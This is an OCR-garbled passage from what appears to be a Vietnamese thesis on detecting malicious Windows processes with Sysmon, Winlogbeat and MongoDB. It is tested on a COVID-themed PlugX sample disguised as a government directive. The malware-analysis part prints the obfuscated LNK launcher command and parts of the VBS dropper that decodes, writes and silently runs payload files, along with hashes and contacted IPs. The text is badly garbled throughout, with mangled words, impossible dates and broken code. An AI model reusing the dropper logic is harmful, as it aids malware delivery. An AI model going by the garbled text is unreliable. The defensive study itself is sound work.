Main PID: 2121
41 (limit:

:1)

stemd/system/logstash.service; enabled; vendor preset: enabled)
) since Wed 2020-87-29 14:56:23 UTC; 3 weeks 4 days ago

4915)

/system.slice/logstash.service
2121 /usr/bin/java -Xmslg -Xmxlg -XX:+UseConcMarkSweepGC -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatin

113:24
13:24
24
13:24
13:24
13:24
13:24
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11nes 1-18/18 (END

3.4. Cai @it cong cu thu thip va vin chuyén tién trinh trén hé
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Hinh 3.4. Kiém tra dich vu hoat dong ciia Logstash

hanh Window

diéu

DPé cai dat Sysmon, luadn van thyc hi¢n tai tdp tin cai dat tai dia chi:

https://docs.microsoft.com/en-us/sysinternals/downloads/Sysmon va st dung tap tin cai

dat Sysmon dugc cac chuyén gia an ninh mang cua trung tim tmg ctru sy ¢6 Nhat Ban

(JPCert) tai dia chi: https://github.com/SwiftOnSecurity/Sysmon-config.
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conditio stem32\wermgr.exe" "-queuereporting_sv

conditio
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Hinh 3.5. Tép tin c4u hinh Sysmon

D¢ tién hanh cai dat Sysmon voi tap tin cau hinh cai dat riéng biét, luan van

thuc hién cau 1€nh sau:

Sysmon —I —acceptcula —I Sysmonconfig-export.xml

Sau khi cai dat thanh cong, hé thdng sé& thong bao nhu sau:

Administrator: C:\Windows\System32\cmd.exe

C:\Users\s184\Desktop>sysmon —i —accepteula —n

Sysinternals Sysmon vl.A1 — System activity monitor
Copyright (C)> 2014 Mark Russinovich and Thomas Garnier
Sysinternals — www.sysinternals.com

Starting SysmonDrvu.
SysmonDrv started.
Starting Sysmon.
Sysmon started.

C:\Users\s184\Desktop>_

Hinh 3.6. Ciu hinh cai dit Sysmon
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Kiém tra qua trinh cai dit Sysmon, ludn vin tién hanh truy cap (mg dung
"Event Viewer" va kiém tra duong dan /Microsoft/Windows/Sysmon, may tinh client
da thuc hién thu thap event thanh cong.

Operational Number of events: 848 (!) New events avaiable

Level Date and Time Source Event ID | Task Category

() Information 6/14/2020 6:57:58 AM Sysmon 13 Registry value set (rule: Regi...
(@ 1Information 6/14/2020 6:57:58 AM Sysmon 13 Registry value set (rule: Regi...
(@ 1Information 6/14/2020 6:57:58 AM Sysmon 13 Registry value set (rule: Regi...
(®1Information 6/14/2020 6:57:58 AM Sysmon 13 Registry value set (rule: Regi...
(1Information 6/14/2020 6:57:58 AM Sysmon 13 Registry value set (rule: Regi...
(@ 1Information 6/14/2020 6:57:58 AM Sysmon 13 Registry value set (rule: Regi...
(@ 1Information 6/14/2020 6:57:58 AM Sysmon 13 Registry value set (rule: Regi...
(@ 1Information 6/14/2020 6:57:58 AM Sysmon 13 Registry value set (rule: Regi...
(@ Information 6/14/2020 6:57:58 AM Sysmon 13 Registry value set (rule: Regi...
(@ 1Information 6/14/2020 6:57:58 AM Sysmon 13 Registry value set (rule: Regi...

Event 1, Sysmon

General Details

& Friendly € XML View

CurrentDirectory C:\Users\Administrator\ e

User WIN-VL5HODCU6CF\Administrator

LogonGuid {CD262058-6714-5EE5-3ADD-030000000000}

Logonid 0x3dd3a

TerminalSessionld 1

IntegrityLevel High

Hashes MD5=AD7B9C14083B52BC532FBA5948342B98,SHA256=17F746D82695FA9B35493B41859D39D786L

ParentProcessGuid {CD262058-7348-5EE5-1ADC-2F0000000000}

ParentProcessid 1372

Parentlmage C:\Windows\System32\cmd.exe

ParentCommandLine C:\Windows\system32\cmd.exe /c for %x in (C:\Users\ADMINI~1
\AppData\Local\Temp=C:\Users\Administrator) do for /f "delims==" %i in ('dir "%x\Chi Thi
cua thu tuong nguyen xuan phuc.Ink” /s /b") do start mshta.exe "%i"

Hinh 3.7. Event Windows Sysmon thu thap

Kiém tra thong tin dir liéu vé tién trinh ma Sysmon thu thap duoc.

Event 1, Sysmon

General ]Details |

Process Create: -
RuleName: -

UtcTime: 2020-06-14 00:46:00.811

ProcessGuid: {cd262058-7348-5ee5-f1dd-2f0000000000}

Processld: 3948

Image: C:\Windows\System32\cmd.exe

FileVersion: 6.1.7601.17514 (win7sp1_rtm.101119-1850)

Description: Windows Command Processor

Product: Microsoft® Windows® Operating System

Company: Microsoft Corporation

OriginalFileName: Cmd.Exe

CommandLine: C:\Windows\system32\cmd.exe /c dir "C:\Users\Administrator\Chi Thi cua thu tuong nguyen xuan phuc.Ink” /s /b

CurrentDirectory: C:\Users\Administrator\ ﬂ

I lenr \ATN AL GUANCTIECDY A Aminictratar

Log Name: Microsoft-Windows-Sysmon/Operational

Source: Sysmon Logged: 6/14/2020 7:46:00 AM

Event ID: 1 Task Category: Process Create (rule: ProcessCreate)
Level: Information Keywords:

User: SYSTEM Computer: WIN-VLSHODCU6CF

OpCode: Info

More Information: Event Log Online

Hinh 3.8. Théng tin dir liéu vé tién trinh ma Sysmon thu thip dwoc
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Thyc hién gui dir liéu Sysmon thu thap dugc trén may tinh client vé may chu

phan tich, luan van str dung cong cu "Winlogbeat" dé thyc hién.

Trong d6 cau hinh cai dat WinlogBeat.yml nhu sau:

winlogbeat.event logs:

- name: "Microsoft-Windows-Sysmon/Operational"
# It 1s necessary to delete the following default processors configuration:
# processors:
# - script:
# lang: javascript
# 1id: Sysmon
#

file: ${path.home}/module/Sysmon/config/winlogbeat-Sysmon.js

# Configure ElasticSearch Server IP address
output.elasticsearch:

hosts: ["Elasticserach server IP address:9200"]

Hinh 3.9. C4u hinh WinlogBeat

Sau khi cdu hinh thanh cong Winlogbeat, thuc hi¢n chay lénh nhu sau dé gui
d@r liéu nhat ky event cua Sysmon thu thap dugc trén may tinh Windows 7 vé may
chu phan tich dir li¢u.

Winlogbeat.exe -e -c winlogbeat.yml

Khi giri dit liéu thanh cong, luan vin nhan duoc két qua nhu sau:
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. Administrator: C:\Windows\System32\cmd.exe - winlogbe

m":"windows", "name": "Windows 7 Professional”,"version”:"6.1", "major":1,"
,"patch”:0,"build”:"7601.0"}, "timezone™: "+07", "timezone_offset_sec":25200,"id":"

cd262058-93af-49e5-9872-211fbb5h57ab"} }}

2020-06-15T04:56:05.942+0700 INFO [beat] instance/beat.go:1002 Process
info {"system_info": {“"process”: {“cwd": "C:\\Users\\Administrator\\Desktop\\

winlogheat-o0ss-7.7.1-windows-x86\\winlogbeat-7.7.1-windows-x86", "exe": "C:\\Use

rs\\Administrator\\Desktop\\winlogheat-oss-7.7.1-windows-x86\\winlogheat-7.7.1-
indows-x86\\winlogbeat .exe”, “"name”: “"winlogbeat.exe", "pid": 3064, "ppid": 2572
, "start_time": "2020-06-15T04:56:03.681+0700"}})

2020-06-15T04:56:05.944+0700 INFO instance/beat.qo:297 Setup Beat: winl

ogbeat; Uersion: 7.7.1

2020-06-15T04:56:05.946+0700 INFO [index-management ] idxmgmt/std.go:1

82 Set output.elasticsearch.index to 'winlogbeat-7.7.1' as ILM is enabled.

2020-06-15T04:56:05.948+0700  INFO  eslegclient/connection.go:84  elastics

earch url: http://192.168.1.6:9200

2020-06-15T04:56:05.951+0700  INFO  [publisher] pipeline/module.go:110

Beat name: WIN-ULSHODCUGCF

2020-06-15T04:56:05.952+0700 INFO  beater/winlogbeat.qo:69 State will be re
ad from and persisted to C:\Users\Administrator\Desktop\winlogheat-o0ss=7.7.1-win
dows-x86\winlogbeat-7.7.1-windows-x86\data\.winlogbeat.yml
2020-06-15T04:56:05.955+0700 INFO instance/beat.go:438  winlogbeat start
running.

2020-06-15T04:56:05.955+0700  INFO  [monitoring]  log/log.go:118 Starting
metrics logging every 30s

Hinh 3.10. Winlogbeat giri dir liéu vé may chi

Sau khi thuc hién cai dat hoan tt, truy cdp dia chi may chu phan tich dir li¢u
theo cau hinh IP d3 cai dat, giao dién cong cu hién thi nhu sau:

SysmonSearch R

Euents  Search  Alrt

Date (UTC-0700) Hostname

B 054202002430 061412020 02:43 P

Date (UTC+0) Hostname Count Visualize
2000-06-14 WIN-VLSHODCUBCF 410 (1K

20000613 WIN-VLSHODCUGCF 0 Ghe

Rows per page: 100 v 1

Hinh 3.11. Dir liéu sy ki¢n hé thong trén may tinh client
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Theo théng ké, trén may tinh WIN-VL5SHODCUG6CF c¢6 470 su kién vao ngay
14/6/2020, thyc hién kiém tra chi tiét d6i véi mdy tinh ndy, luan vin nhan thiy nhu sau:

Top Summary Stats  Process

Event Summary: WIN-VLSHODCUGCF@2020-06-14

Type
ate_process 268

Trong 470 su kién ctia may tinh co:

hién két noi:

32
20
67
45
38
470

268 su kién lién quan t6i CREATE PR

20 su kién lién quan t6i REMOTE THREAD.
67 su kién lién quan t6i CREATE FILE.

45 sy kién lién quan t6i REGISTRY.
38 su kién khac.

Kiém tra sy kién NET PROCESS cho thiy dia chi IP ma may tinh client thyc

CH\USers\AaminISIratonueskiop\winiogoeat-oss-

Count Percentage

57.02%

Hinh 3.12. Thong ké s kién thu thap

521 2020-06-14 08:01:03.194 net_access 7.7.1-windows-x86\winlogbeat-7.7.1-windows- tcp:192.168.1.6:9200
x86\winlogbeat.exe
537 2020-06-14 08:05:00.192 net_access C:\Windows\System32\cmd.exe tp:113.20.29.29:443
542 2020-06-14 08:06:01.588 net_access C:\Windows\System32\cmd.exe tcp74.252.14.248:443
543 2020-06-14 08:06:02.087 net_access C:\Windows\System32\cmd.exe 1cp74.252.14.248:443
544 2020-06-14 08:06:02.576 net_access C:\Windows\System32\cmd.exe 1cp:74.252.14.248:443
545 2020-06-14 08:06:03.059 net_access C:\Windows\System32\cmd.exe 1cp:74.252.14.248:443
548 2020-06-14 08:07:03.135 net_access C:\Windows\System32\cmd.exe 1p:113.20.29.29:443
549 2020-06-14 08:08:03.615 net_access C:\Windows\System32\cmd.exe (cpi74.252.14.248:443
550 2020-06-14 08:08:04.122 net_access C:\Windows\System32\cmd.exe tcp:74.252.14.248:443
551 2020-06-14 08:08:04.608 net_access C:\Windows\System32\cmd.exe tcp74.252.14.248:443
552 2020-06-14 08:08:05.107 net_access C:\Windows\System32\cmd.exe tcp74.252.14.248:443
554 2020-06-14 08:09:05.175 net_access C:\Windows\System32\cmd.exe tp:113.20.29.29:443
562 2020-06-14 08:10:05.642 net_access C:\Windows\System32\cmd.exe 1cp74.252.14.248:443
563 2020-06-14 08:10:06.135 net_access C:\Windows\System32\cmd.exe 1cp:74.252.14.248:443
564 2020-06-14 08:10:06.629 net_access C:\Windows\System32\cmd.exe 1cp:74.252.14.248:443
565 2020-06-14 08:10:07.138 net_access C:\Windows\System32\cmd.exe (cpi74.252.14.248:443
569 2020-06-14 08:10:56.342 net_access :r;\:'e”‘“_d:x‘:S\sysm"'32\w”‘°°wsp°"‘crs"c"w1 OWPoW  0:102.124.249.163:80
571 2020-06-14 08:11:07.215 net_access C:\Windows\System32\cmd.exe 1p:113.20.29.29:443
575 2020-06-14 08:11:50.486 net_access CH\Windows\System32\WindowsPowerShellv1.0\pow > 1, 186.7:80

Hinh 3.13. Théng tin chi tiét vé két ndi cia may tinh client
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Nhu vy, luan van di dung thanh cong hé thdng giam sat, theo ddi va phat

hién tién trinh doc trén hé thong may tinh Windows.
3.5. Cai dit cong cu giam sat tién trinh

bé xay dung co so dit liéu vé tién trinh ddc, luan van st dung cac d4u hiéu thu
thap tr Virustotal. Cac thanh phén gém: ma bam cua ma doc, IP doc, domain doc...
bé xay dung co s¢ dir liéu d4u hiéu nham phat hién tién trinh doc, trong bao c4o nay
tac gia str dung cong cu MongoDB. MongoDB c6 thé cai dit trén nhiéu hé diéu hanh
khac nhau nhung trong dé tai nay Ubuntu s& dugc chon 1am hé diéu hanh dé xay dung

mai trudng phat trién hé thong, do tinh phd bién, mién phi va dé iy chinh.
3.5.1. Cai dat MongoDB

Dé cai dat MongoDB trén Ubuntu can thyuc hién cac budc sau:

Buoc 1: Thém MongoDB public GPG key:

Ssudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 —recv
2930ADAESCAF5059EE73BB4B5871242291FA4A4ADS

Buéce 2: Thém MongoDB repository vao thu muc sources.list.d:

b echo "deb [ arch=amd64,arm64,ppc64el,s390x ]
http://repo.mongodb.com/apt/ubuntu xenial/mongodb-enterprise/3.6 multiverse” |
sudo tee /etc/apt/sources.list.d/mongodb-enterprise.list

Buéce 3: Cap nhét repositories:

$ sudo apt-get update

Buéc 4: Cai dat MongoDB:

8 sudo apt-get install -y mongodb-enterprise

Lénh nay sé& cai dit mongodb-org - mot package bao gdm céc thanh phan:

- mongodb-org-server: Ung dung nén tiéu chuan ciia MongoDB gitip duy tri
service luon dugc chay va khoi dong cung hé diéu hanh.

- mongodb-org-mongos: Ung dung nén cia MongoDB Shard - tng dung quan

1y cac cluster cia MongoDB.
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- mongodb-org-tools: Bao gdm cac cong cu co ban dé khoi phuc, nhap, xuat
dir lidu.

Budc 5: Chay MongoDB:

- Start service MongoDB: $ sudo systemctl start mongod

- Restart service MongoDB: § sudo systemctl restart mongod

- Stop service MongoDB: $ sudo systemctl stop mongod

- Start khai dong cung hé diéu hanh: $ sudo systemctl enable mongod
3.5.2. Ciu hinh MongoDB

File cAu hinh cta MongoDB duogc luu ¢ trong thu muc /etc/mongod.conf, va
duoc viét dudi dinh dang YAML. Céc thanh ph?m trong file cAu hinh:

dbPath: noi luu trir file cua co s¢ dir liéu. Méc dinh 1a: /var/lib/mongodb.

systemLog: chi ra cac lya chon cho viéc log:

- destination: lya chon dau ra 1a file hay syslog.

- logAppend: thém vao cudi céc file log dang ton tai cac log mai.

- path: loi luyu trir thong tin log ctia tUmg dung nén. Mic dinh i
/var/log/mongodb/mongod.log.

- net: chi ra cac lya chon vé cAu hinh mang ctia MongoDB:

- port: cong mongodb st dung dé chay tng dung nén (service).

- bindIP: chi ra dia chi IP cia MongoDB

- security: trao quyén truy cap dya trén vai tro.
3.5.3. Truy vdn MongoDB sir dung Python

Trude khi sir dung can cai dat python va python-pip. Sau d6 chay lénh sau dé

cai dat pymongo dé két ndi vdi MongoDB: sudo pip install pymongo.

3.5.4. Kiém tra tién trinh déc bang diu hiéu

Day 1a phan kiém tra tién trinh trong co s¢ dir liéu dau hiéu hay khong. Vé ban
chat gn nhu MongoDB d4 hd trg nguoi ding tim kiém mot tién trinh c6 ton tai trong
co s dit liéu dau hiéu. Poan Script dudi ddy mo ta qua trinh két ndi va kiém tra tién

trinh trong co s dir liéu dau hiéu.
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result = collection.find one({"Event ID": Event ID })

return create_response(result['label’], 'database’)

Két qua tra vé cho phia Extension 1a mot JSON chua hai truong dir lidu:

label: Nhan gié tri 0 hodc 1 twong duwong véi tién trinh sach hay doc.
3.6. Thwe nghiém va danh gia

Thoi gian gan day, tinh hinh dich bénh COVID-19 dang c6 dién bién phirc tap
tai nhiéu qudc gia, mot sb nhom tin tic di loi dung tinh hinh nay dé phat dong, tién
hanh chién dich tin cong mang cé chua dich vao cic co quan, t6 chirc trén thé gidi,
trong do c6 Viét Nam.

Qua cong tac bao vé an ninh h¢ théng mang thong tin qudc gia, Cuc An ninh
mang va phong chéng t6i pham str dung cong nghé cao, B Cong an phat hién chién
dich tdn cong mang, phat tan ma doc thong qua thu dién tr (Email) str dung céc thong
tin lién quan dén dich bénh COVID-19 d thu hat sy chi y cia nguoi dung.

Cu thé, nhitng ngdy gin ddy, tin tic da phat tin ma doc qua thu dién tir c6 dinh
kém tap tin word c6 tiéu dé “Chi Thi cua Thu tuong nguyen xuan phuc.lnk” gia dang

thong bao cua Thu tuéng Chinh phu vé dich COVID-19.

Chi Thi cus thu tuong nguyen xuan phuc.doc [Compatibiity Mode] - Word (Product Activation Failed.

NSER DESIGN PAGE LAYOUT REFERENCES MAILINGS REVIEW VIEW

TimesNewRo ~|22 ~ A" A" Aa- % = - > | EE 28 9 acBbCc0d  AaBDbDC AaBbCcDd  AaBbGeDE AsBbCcD AaBbC
B I U ~ abs X n -'j/.A, = = = :"~ e - Er T Heading 1 T Nc | St S ithe Title

Thu twuéng Nguyén Xuin Phuc chi thi: U tién
hang dau ctua Chinh phu la sirc khoe cua nguoi
dan

(Thix ba, 03/03/2020 08:29)
Phat bieu ket ludn cudc hop Thudmg truc Chinh phu ve phong chong dich COVID-19,
Thi twéng Chinh phi Nguyén Xuidn Phic cho ring, ching ta vira chéng dich vira phat
trién kinh té nhung vu tién hang dau cua Chinh phu van 13 bao vé sic khoe cta nguon
dan Sic khoe, tinh mang cua nguon dan 1a khong thé thay thé

Khac phyc khé khan tim giai phip phong chéng dich

Phit biéu tai cudc hop Thudmg tryc Chinh phi chiéu 23 vé phong chéng dich
COVID-19, Thu twéng nhic lai  rang <6 thé hy sinh 1¢i ich kinh té d¢é bao vé sic
khée ngudi din. Th tudng cho rang, kinh té c6 khé khan, <6 thé tim giai phip
hd tro nhumg tinh mang cta ngudi dén thi khdng thé thay thé. Céng viéc nay cin duoc
day lén v 10c d6 cao hon Céc 16 chirc, cd nhian c¢é lién quan can lan xa vao, cung
26p sirc, khéng ngdi chd, khéng cé co ché xin cho

Hinh 3.14. N¢i dung tap tin ma djc
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Do d6, luan van s& thuc hién lya chon tap tin ma doc nay dé chay thir nghiém

trén may tinh client, sau d6 sir dung méy chii dé phan tich phat hién hoat dong ciing

nhu hanh vi doc hai cta tap tin ndy va so sanh két qua thu duoc voi két qua phan tich

da dugc cong bo trén mang.

Bang 3.1. Thong tin chi tiét vé ma ddc sir dung

Tap tin ma djc

bbbeb12a937274825b0434414fa2d9%ec629ba846b1e3e33a5

9¢613b54d375e4d2.rar
Hash 60C89B54029442CSE131F01FFO8F84C9
Pinh dang tap tin Téap tin rar sau khi gidi nén ra tap tin “Chi Thi cua thu tuong

nguyen xuan phuc.lnk”

Dia chi tai ma doc

https://app.any.run/tasks/dd877b4d-8b36-48c0-af07-
ce37fd9fee7b/

Tién hanh tai tap tin ma doc va gidi nén trén may tinh client, ludn van nhan

duoc tap tin “Chi thi cua thu tuong nguyen xuan phuc.lnk”



tor\Desktop\Chi Thi cua thu tuong nguyen xuan phuc

“ua thu tuong nguyen xuan phuc[

N Sharewith v  New folder
Name “ B Chi Thi cua thu tuong nguyen xuan phuc Properties
/A ChiThicua thu tuong ngu Compatibility | Security I Details I Previous Versions
General Shortcut | Options | Font | Layout | Colors

i

L3

Chi Thi cua thu tuong nguyen xuan phuc

Targettype:

File

Targetlocation:

x|

Target ll%comspec% Jc f%windir™-3,1%%PUBLIC:™-9,1% %>
Startin: I
Shortcutkey: lNone
Run: [ Minimized ~l
Comment: IChi Thi cua thu tuong nguyen xuan phuc.Ink
Open File Location | Change Icon... Advanced... |
1 thu tuong nguyen xuan phuc Date n
9 nguy P 0K I Cancel | Apply

Hinh 3.15. Thong tin tip tin ma doc

Phan tich so bd tap tin ma doc, luadn van nhan dinh tap tin File.Ink 14 dinh dang

file Ink cia Windows Fake icon va tén file dé danh Iira nguoi dung. Thuc chét, tap

tin nay str dung command dé thyc thi doan ma chira trong no:

Y%comspec% /c fYowindir:~-3,1%%PUBLIC:~-9,1% %x in (Yotemp%%=%cd%)
do fYowindir:~-3,1%%PUBLIC:~-9,1% /f "delims==" %i in ('dir "%x\Chi Thi cua
thu tuong nguyen xuan phuc.lnk" /s /b') do start %TEMP:~-2,1%%windir:~-

1,1%h%TEMP:~-13,1%%TEMP:~-7,1%.exe "%i"

Poan command nay goi mshta.exe dé thuc thi doan ma vbs dugc obfuscated

trong ban than file Ink:
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[Hfunction write_file(data,filename)
On Error Resume Next
dim dom,elm,stm

set dom=createobject("microsoft.xmldom™)

set elm=dom.createelement("z")

elm.datatype="chr"

elm,.text=data

Set fNhHGQTsCgBsHmIWJ = CreateObject ("ADODE.Stream")

fNhHGQTsCgBsHMIWJI.Type =
fNhHGQTsCgBsHmIWJ.COpen
fNhHGQTsCgBsHmIWJ.write elm.NodeTypedValue
fNhHGQTsCgBsHmIWJ.saveToFile filename, 2
fNhHGQTsCgBsHmIWJ.Close

set stm=nothing

set elm=nothing

- set dom=nothing

end function

Set GsZEt=CreateObject("Wscript.S3

Set Process=GsZEt.Environment ("Process
pe_filename=Process.Item("TEMP") + "\3.exe
dll filename=Process.Item(' 1t
daca filename=Process.Item("TEMP") + "\\http dll.dat

write file pe_string, pe_filename
write_file dll string, dll filename
write _file TPDgWjZcyJ, data_filename

Set w1nmgmts = G:tObj:ct(”

Set ProcessStartap = Win32 PrOCcssStarcup SpawnInscance
ProcessStartup.ShowWindow = 0

Set Win32_Process = GetObject("winmomts: A\root\\cimv2:Win32 Process")
Win32 Proc:ss Create pe_filename, Null, ProcessStartup, O

L doc_filename = Process.Item("TEMP") + "\Chi Thi cua thu tuong nguyen xuan phuc.doc"
Hinh 3.16. N§i dung ma doc

Giai ma base64 céc string va ghi ra cac tép tin (PlugX) theo duong dan:
- %temp%\3.exe: File c6 chir ky duogc lgi dung dé load file http _dll.dll
- Y%temp%\http_dll.dll: File dll doc hai gidi ma va load file http_dlIl.dat
- %temp%\http_dll.dat: File data duoc ma hoa -> sau khi giai ma két nbi dén
C&C update va nhan 1énh. Ghi file ra thu muc:
v C:\ProgramData\Microsoft Malware Protectionydy\unsecapp.exe
v C:\ProgramData\Microsoft Malware Protectionydy\http dIl.dll
v C:\ProgramData\Microsoft Malware Protectionydy\http dll.dat
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Trén day 1a két qua phan tich so bo cia co quan cong an vé tap tin ma doc,
tiép theo ludn van s& thuc hién chay tap tin ma doc va thuc hién phan tich, nhan biét
mi doc nay théng qua cong cu di trién khai.

Sau khi thyuc hién chay tap tin ma doc, luan van truy cdp may chu phéan tich dir
liéu dé tim kiém thong tin vé tién trinh “Chi Thi cua thu tuong nguyen xuan
phuc .Ink”, luan vin thu duoc thong tin vé tién trinh ma doc duoc khai tao nhu sau:

create_process on WIN-VLSHODCUGCF@2020-06-14

Keyword Hash To‘[a | 31 9

chi thi thu tuong

Number UtcTime P Type Process Related

mshta.exe
"C:\Users\Administrator\Desktop\exeinfope\ExeinfoPe
\bbbeb1a937274825b0434414fa2d9ec629baB46h1e3
€33a59c613b54d375e4d2\Chi Thi cua thu tuong
nguyen xuan phuc\Chi Thi cua thu tuong nguyen xuan
phuc.Ink"

437 2020-06-14 00:46:01.063 create_process  C:\Windows\System32\cmd.exe

Hinh 3.17. Tién trinh mi ddc dwoc khéi tao

Kiém tra di liéu event log do Sysmon luu dif lai c6 thong tin vé tién trinh nhu
sau: ParentProcessGuild: {cd262058-6cda-5ee5-5493-210000000000}

Thyc hién chay commandline: C:\Windows\system32\cmd.exe /c for %x in
(C:\Users\ADMINI~1\AppData\Local\Temp=C:\Users\Administrator) do for /f
"delims==" %i in ('dir "%x\Chi Thi cua thu tuong nguyen xuan phuc.Ink" /s /b") do
start mshta.exe "%1"

Event 1, Sysmon
General | Details |

AT T ———
iCurremDirectory: C\Users\Administrat
[User: WIN-VLSHODCUGCR\Administrator

LogonGuid: (cd262058-6714-5ee5-3add-030000000000}

Logonid: Ox3dd3a

TerminaiSessionld: 1

[Integritylevel: High

Hashes: MD5=E2FE656ATIDBFACAFD70201E7423BDAD,SHA256

E60C1792806 IMPHASH =B75DS287188D7976D83843CC449A5655

arentProcessCuid: {€d262058-6cda-See5-5491-210000000000}

Parentimage: C\Windows\System32\cmd.exe
ParemtCommandLine: C\Windows\system32\cmd.exe /c for %x in (C\Users\ADMINI~1\AppData\Local\Temp=C\Users\Administrator) do for /f "delims==" %

i in Cair “30A0\Chi Thi cua thu twong nguyen xuan phucink™ /s /D) do start mshia.exe "%~ >
Log Name: Microsoft-Wi Sysmon/Op al

Source: Sysmon Logged: 6/14/2020 7:1841 AM

Event ID: 1 Task Category. Process Create (rule: ProcessCreate)

Level Information Keywords:

User: SYSTEM Computer: WIN-VLSHODCUGCF

OpCode: Info

More Information:  Event Log Online.

Hinh 3.18. Event tién trinh ma ddc chay Sysmon thu thap
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Sau event Process Create, Sysmon luu trit dugc thém hai event lién quan téi

File Created nhu sau:

Level Date and Time Source Event ID | Task Category =

(O1nformaton 6/14/2020 7:18:41 AW Sysmon 11 Fie created (rule: FieCreate)

Binformation 6/14/2020 7:18:41 AW Sysmon 1 Process Create (rue; Proces..

thiomat 142020 7:18:41 AN Sysmon 1 Process Create (rue; Proces..

(O1nformaton 6/1420207:18:41 AM Sysmon 1 Process Create (rue; Proces..

®tnformaton 6/1420207:18:41 AW Sysmon 1 Process Create (rul: Proces..

(i) Information 6/1420207:18:41 AW Sysmon 11 Fle created (ruk: FleCreate)

(i) Information 6/1420207:18:41 AW Sysmon 11 Fle created (ruk: FleCreate) -
Information 142020 7:18:41 AM Sysmon 11 Fle created (ruk; FleCreate)

M. a fu afmama = o= s aua - « = - .-

Hinh 3.19. Event lién quan tién trinh ma déc

Kiém tra thong tin vé hai event nay ta c6 duogc tur tap tin doc, ma ddc da thuc
hién tao ra hai tip tin co tén 1a 3.exe va http dil.dll tai duong dan:
Clusers\Admin~1\AppData\Local\Temp\. Event c6 gia tri ProcessGuild trung véi gia

tri ParentProcessGuild cua tap tin ma ddc.

Event 11, Sysmon

General IDetaiIs |

UtcTime: 2020-06-14 00:18:41.461

ProcessGuid: {cd262058-6cel-5ee5-eab4-210000000000}
TOCessId: 2032

Image: C\Windows\system32\mshta.exe

TargetFilename: C\Users\ADMINI~1\AppData\Local\Temp\3.exe

CreationUtcTime: 2020-06-14 00:18:41.461

Log Name: Microsoft-Windows-Sysmon/Operational

Source: Sysmon Logged: 6/14/2020 7:18:41 AM

Event ID: 1 Task Category. File created (rule: FileCreate)
Level: Information Keywords:

User. SYSTEM Computer:  WIN-VLSHODCU6CF
OpCode: Info

More Information: Event Log Online

Hinh 3.20. Event lién quan téi tao tip tin ciia tién trinh ma doc
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Tur két qua canh bdo ma doc do By Cong an cong bd, luén van xay dung diu hiéu

nhan biét ma doc nay trén hé théng bang ma Hash va xay dung tap tin IOC nhu sau:

{
"operator" : "AND",

"patterns": [
{
eryll : HHashH,
"value" : "28C6F235946FD694D2634C7A2F24C1BA"

{

"key" : "ProcessName",

”Value” : H3 "

Thuc hién tim kiém di liéu trén hé théng, luan van nhan th?iy thong qua tap
tin ioc vé ddu hiéu nhan biét ma doc, hé thong da phat hién duogc rat nhiéu su kién
lién quan t6i tién trinh ma doc nay.

Events Search Alert

Date 06/04/2020 10:26 PM > 07/04/2020 10:26 PM

Field Hash v 28C6F235946FD694D2634C7A2F24C1BA < DEL
Field ProcessNa 3 < DEL
Conjunction AND v ~ ADD | [ Save as detection rule ] [ Load rule file ] ch ioc.json Load I0C file

Q Search Total: 12

UtcTime T Hostname User EventID Description image

2020-06-14 00:18:41.539 € WIN-VLSHODCUBCF SYSTEM 1 create_process €0 C:\Users\ADMINI~1\AppData\Local\Temp\3.exe
2020-06-14 00:18:41.539 ¢ WIN-VLSHODCUGCF SYSTEM 1 create_process <= C:\Users\ADMINI~1\AppData\Local\Temp\3.exe
2020-06-14 00:21:36.074 € WIN-VLSHODCUBCF SYSTEM 1 create_process €0 C:\Users\ADMINI~1\AppData\Local\Temp\3.exe
2020-06-14 00:21:36.079 €> WIN-VLSHODCU6CF SYSTEM 1 create_process €o C:\Users\ADMINI~1\AppData\Local\Temp\3.exe
2020-06-14 00:29:34.700 4o WIN-VLSHODCUGBCF SYSTEM 1 create_process <o C:\Users\ADMINI~1\AppData\Local\Temp\3.exe
2020-06-14 00:29:34.700 €= WIN-VLSHODCUBCF SYSTEM 1 create_process €0 C:\Users\ADMINI~1\AppData\Local\Temp\3.exe
2020-06-14 00:29:46.015 € WIN-VLSHODCUBCF SYSTEM 1 create_process €0 C:\Users\ADMINI~1\AppData\Local\Temp\3.exe
2020-06-14 00:29:46.062 ¢ WIN-VLSHODCUG6CF SYSTEM 1 create_process <o C:\Users\ADMINI~1\AppData\Local\Temp\3.exe

Hinh 3.21. Xac dinh tién trinh ddc théng qua tap tin IOC
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Tiép tuc thuc hién phan tich va lién két cac su kién lai thong qua tham )
ParrentProcessGuild, luan vin c6 duogc két qué nhu sau:
Phén tich chi tiét vao su kién CREATE_PROCESS nay cho thiy tién trinh sau

khi goi tap tin cmd.exe dd goi them hai tién trinh khac d6 la:

“Clusers\Admin~1\AppData\Local\Temp\3.exe” va
“Clusers\Admin~1\AppData\Local\Temp\http dll.dII”

nhu hinh dudi day:

{CD262058-7349-5EE5-9312-300000000000} on WIN-VLSHODCU6CF@2020-06-14

Layout Left to Right v Keyword Hash

—
0

/0\' @sars‘ADl‘lel-W \AppData\Local\Temp\3.exe
N

C:\Windows C:\Windows N/ )

\System32\ \System32\ \ /
cmd.exe mshta.exe A4

C:\Users\ADMINI~1\AppData\Local\Temp\http_dill.dll

Hinh 3.22. H¢ thong xAy dung lai tién trinh hoat ddng mi ddc

Kiém tra thong tin chi tiét vé su kién nay cho théiy sau khi chay tap tin ma doc,
ma doc thuc hién tao ra 2 tip tin méi 1a 3.exe va http dll.dll tai dudng dan

Clusers\Admin~1\AppData\Local\Temp\ nhu hinh du¢i day:

{CD262058-7349-5EE5-9312-300000000000} on WIN-VL5HODCUGCF@2020-06-14

Keyword Hash
Total: 3
Number Date 1 Type Source Process Relevant Event Data
mshta.exe
\Administrator\Desktop\exeinfope\ExeinfoPe
\bbbeb1a937274825b0434414fa2d%ec629ba846ble
437 2020-06-14 00:46:01.063 create_process  C:\Windows\System32\cmd.exe pbbeblass/e/aesonuesn ceossbatibble
3e33a59¢613b54d375e4d2\Chi Thi cua thu tuong
nguyen xuan phuc\Chi Thi cua thu tuong nguyen xuan
phuc.Ink"
438 2020-06-14 00:46:01.250 create_file C:\Windows\system32\mshta.exe C:\Users\ADMINI~1\AppData\Local\Temp\3.exe
439 2020-06-14 00:46:01.266 create_file C:\Windows\system32\mshta.exe C:\Users\ADMINI~1\AppData\Local\Temp\http_dil.dll
Rows per page: 100 v 1

Hinh 3.23. H¢ thong hién thi thong tin tién trinh ma ddc tao 02 tip tin



51

Kiém tra thong tin chi tiét vé tap tin 3.exe, luan van nhan théy tap tin 3.exe

